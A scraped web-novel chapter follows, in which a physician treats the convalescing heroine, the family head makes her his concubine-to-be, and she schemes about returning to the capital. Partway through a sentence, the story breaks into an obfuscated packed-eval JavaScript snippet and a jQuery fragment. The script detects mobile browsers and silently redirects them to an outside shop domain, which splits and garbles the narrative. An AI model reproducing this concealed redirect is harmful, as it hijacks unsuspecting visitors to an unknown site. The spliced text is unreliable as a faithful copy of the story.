文趣网 > 都市小说 > 崔公子,你前世不修 > 35. 第 35 章
    “可有大碍?”崔令颐坐在床边,看向面前为床上人把脉的陆椿沐。

    “柳姑娘几日前失血过多还未养回,今日又落水至邪风入体,需好生养护。不可劳累、动怒,否则若是落下病根就难消了。”陆椿沐摇摇头,面上惋惜。

    “知道了。”崔令颐颔首,将目光转向床上躺着的皇甫怜。她身上的薄纱被婢女换成了干净舒爽的亵衣,湿发也被仔细烘干。只是人还未醒,昏迷了近半日也不见动静。

    “家主不必忧心。”陆椿沐看了一眼床上躺着的皇甫怜,她秀眉蹙起,面色酡红,哪怕是深陷昏迷也显得睡得十分的不安稳。

    “我刚才已经为柳姑娘施过针,柳姑娘很快便能醒来了。”

    “有劳。”

    崔令颐也没否认,他挥手招来一旁侯着的王德仁。

    “家主。”王德仁上前一步,恭敬的弯身。早在崔令颐抱着皇甫怜回院时,他就适时的跟在左右等候差遣了。

    “柳月是你招进来的?”

    “是。”

    “……”崔令颐只问了这一句便停住不再出声,只是静静的审视着王德仁。

    王德仁被他看的汗流浃背,顽强的梗住背脊,坚持住躬身这个动作,豆大颗汗水从他的额上滑落,凝在下巴上,欲坠不坠。

    “这回便算了,再有下回,莫怪我不顾及情分。”

    多年前,王德仁曾以身试险救过崔令颐一回,所以,王德仁和皇甫怜说自己在崔令颐面前还是有几分面子的也不算是瞎话。只是这事涉及崔氏秘辛,极少人知道,这也是王德仁敢如此行事的仰仗。

    “是。”王德仁听到敕令,如获救赎,跌跪了下去,匍匐在地。

    “命人去收拾好柳月的东西,搬入慎行院。”

    上头,崔令颐淡漠的声音传了过来。

    “日后,府上的人便唤她柳小姐。”考虑到还未行纳妾之礼,崔令颐一顿,换了个称谓。

    只是内院复杂,若是无名无份,只怕府上之人背地里会说她闲话,他思考了片刻,末了又加上一句:“待回到京城,再行纳妾之礼。”

    “是!”

    ————

    皇甫怜是第二日才醒的,陆椿沐也没料到她体质居然会差到如斯地步。

    “好好喝药。”陆椿沐神态不太好的敲了敲桌角,这无礼的动作因她慈霭的模样显得亲和许多。

    “太苦了。”劫后余生,来日之路光芒璀璨,皇甫怜心情大好,哪怕知道自己手臂上的伤口又裂开,以后会留疤这件事也无甚难过。

    “良药苦口,谁道你体质竟如此之差。”说到这个陆椿沐便气恼:“你跑去跳什么池子?差点小命都没了你知不知道?”

    “唉。”皇甫怜夸张的叹了口气:“陆大夫,你不知道。”

    她声音哀怨婉转,似是带着无限情意:“家主要赶我走,可我对家主仰慕之心如江水般绵长,似烈阳岩火般炙热,若是不能在其左右,还不如让我去死呢。”

    “……”

    崔令颐刚结束公职,人还未踏进院里,便听到了这一番深情告白。他步子一顿,坦然受了崔学荐这个小辈的揶揄神色。

    “死死死,年纪轻轻便把这个字挂在嘴边,你当是什么好字吗?谨言慎行啊!”陆椿沐一脸孺子不可教也的看着皇甫怜。

    “你如今身份不同了,代表的是家主的体面,坐卧行止,都要规矩。”

    “怎么会呢。”皇甫怜搂着蜜饯盘子:“家主是我的体面才对。”

    “家主厉害,我在外头自然有体面,哪怕我不体面,别人也不敢说我不体面。反之,若是别人说我不体面,那也是在说家主不体面。”

    陆椿沐:“什么歪理。”

    “倒是别有一番见解。”门外,崔学荐悄声对崔令颐道。

    “……”

    崔令颐却没有表态,只是唇角微弯,眼中纵容明显。她背地里的模样与在人前差距甚大,面对着他一副温婉柔弱,私下对着熟络的人却生动活泼。

    “家主,公子。”还是陆椿沐先发现崔令颐等人的。

    “家主。”

    看到来人,皇甫怜赶紧将手上的盘子放下,规矩的将双腿并拢,乖巧的看着缓步进来的崔令颐。幸好方才自己没有说什么不好的话,她在心中暗自庆幸。

    “可好些了。”崔令颐也不拆穿她,来到她身旁坐下,面色温和。

    身份一转变,他整个人便柔和下来,之前的清冷淡漠都转向了旁人,对她却显得异常有耐心。皇甫怜还是第一次见到崔令颐这幅如玉君子模样,怪不得之前皇甫月喜欢他,原来高岭之花的儒雅一面如此惑人。

    “好多了。”皇甫怜摇摇头,企图将自己心里那份诡异的悸动摇出去。

    “药苦也不可多食,以免影响了药力。”崔令颐将桌上的酸枣盘子递给王德仁,示意他拿开。

    “是。”

    “小叔说的对。”

    崔学荐在一旁为崔令颐发声,他冲皇甫怜一笑,从袖子里摸出一柄短匕首。

    那匕首约莫三寸长,通体黑金,上头雕刻了许多花纹宝石,看起来比之前借给皇甫怜用的那一柄还要贵重。

    “柳小姐,上次说好了要送你一把匕首的,刚好前两日偶然得了这柄,送你,就当你初愈的贺礼。”崔学荐说着将匕首递给皇甫怜。

    “……”皇甫怜有了上次的教训,不敢接,偏头看向一旁的崔令颐,这次却没见他有不悦神色。

    这是,可以接的意思吧?皇甫怜觊觎着他的神色,心中对面前这柄匕首十分喜欢,这匕首看起来便价格不菲,日后留着防身或是卖了换银子都成。她犹豫了片刻,还是接了过来,轻声道:“谢谢。”

    现在又不是她方才大声同府医高谈阔论的时候了,她的转变让崔学荐咋舌,但还是摆摆手道:“日后都是一家人,不言谢。”

    皇甫怜面上一红,装的,但是装的炉火纯青。像是真的被羞臊到,只低头,沉默不语。

    “事情都办好了吗?”崔令颐开口牵开话题。

    “还剩一些手尾,后日回京之前可以办妥。”

    “不着急,你看着办,回京之事先延后。”

    那事情确实棘手,索性现在也不急着回京了,崔令颐打算再多给崔学荐一些时间去处理,他毕竟是第一次出来办事。

    ?

    崔学荐闻言一惊,京城那边的宴会尤为重要,小叔作为崔李两家的继承人是一定要出席的,大爷那边已经来信催了几次了。

    “小叔,宴会那边还需要你出面,若是延后,怕要赶不上了。”

    “此次宴会我不打算出席了。”

    “什么?”崔学荐激动起来:“那如何使得?历年都是我们崔氏牵头做押宴,若是小叔不出席,那今年的押宴可就要让卢氏坐收渔翁之利了。”

    “我自有安排。”崔令颐不欲多说。

    “你先安生去将事情办妥再来吧。”

    “……是。”

    崔令颐下了逐客令,崔学荐也不好再多言,只是略有些不甘。他再三张了张嘴,到底还是没有再劝出口,单冲崔令颐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775432|207268||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    做了个揖:

    “那侄儿先行告退。”

    “嗯。”

    陆椿沐和管家早在二人谈公事时便识趣的走了,如今崔学荐也走了,房中只剩下崔令颐和皇甫怜二人。

    皇甫怜看了眼端坐喝茶一言不发的崔令颐,心有疑虑,却不太敢问。

    王管家说过,京城有重要宴会需要崔令颐出席,崔令颐是一定要会去参加这个宴会的,所以她才转变了温水煮青蛙的策略,直接上了猛药。

    虽然顺利入主慎行院,也达到了自己的目的,可如今却突然听说崔令颐要延后再回京城,这让她有些坐不住了。

    如今已将近五月末,潍城离京城有千里之遥,路程少也要半月有余,若是一直耽搁下去,恐怕就赶不上前世那一段日子回宫了。

    “可是有什么想要的。”注意到她欲言又止的模样,崔令颐将手中的茶杯放下。

    “只是好奇。”皇甫怜秀眉微蹙,像是很困惑:“家主为何要延迟回京?”

    “你很想去京城?”

    “……”

    这问题问的妙,皇甫怜一时间不敢回答。说是,就暴露了自己的目的,有违自己痴心崔令颐的伪装。说不是,万一崔令颐认为自己不喜欢京城,把自己留在潍城那就糟了。

    “听说京城长街十里雕梁画栋,莺歌燕舞灯火不绝十分热闹繁华,妾身出身微寒未曾见过,所以想见识一下。”她斟酌着,亦真亦假的回了一句。

    “京城确实繁华,但亦有宵禁,灯火不绝是妄言。”

    “哦。”皇甫怜一愣,心下放松,看来这关是过去了。

    “日后你就住在此处,缺什么和管家说,让他去给你置办。”此处是偏房,崔令颐住的正房就在隔壁。

    张牙舞爪的人现在倒是乖觉,垂眉顺目的坐在椅子上,像是一只被水打湿了毛发的狸奴。崔令颐看着她乖顺的点点头,柔声回自己:“妾身知道了。”

    确认她已无大碍,崔令颐便准备回房,二人未行礼,崔令颐守着礼教,不会逾矩。

    “家主。”见崔令颐这就要走,皇甫怜一着急,拽住了他的衣袖。

    ?

    衣袖被人轻轻的拽住,力道不大,却成功将崔令颐留在原地。

    “你风寒方愈,况且你我未行纳妾之礼……”崔令颐声音有些暗哑,话有未尽之意。

    皇甫怜听懂了,扯他衣袖的手猛地一缩,脸上猛的一热。他在胡说八道什么?他怎么敢这样想,谁想那样!她在心中嚎叫,拽他的那只手手心滚烫。

    “家主误会!”她颤声道。

    “妾身只是想问问家主,回京时……能不能带上王管家。”

    原是如此。

    崔令颐心中一默,默默按下方才打算罚她抄三遍家规清心明理的想法,淡声道:

    “可。”

    ……

    崔令颐走了,走了有半刻钟皇甫怜才回过神。她伸手敷了敷自己发烫的面颊,哪怕是再世为人也有些羞臊。

    崔令颐方才想到哪里去了?高岭之花便是这种人吗?待她回京,定要在众人面前好好揭穿他的伪装,教世人看看他们推崇的世家魁首是个什么样的龌龊之人!

    她在心中暗暗发誓,胡思乱想了一通后,面上的热度才终于消减下来。

    虽然只是妾室的身份,但是能让崔令颐违背家规祖训,也算是意外之喜。况崔令颐这人也还算规矩,未行礼不会有逾矩,这身份也只是伪装罢了。

    如今万事俱备,只差回京一口东风,便能顺利将她扶摇直上。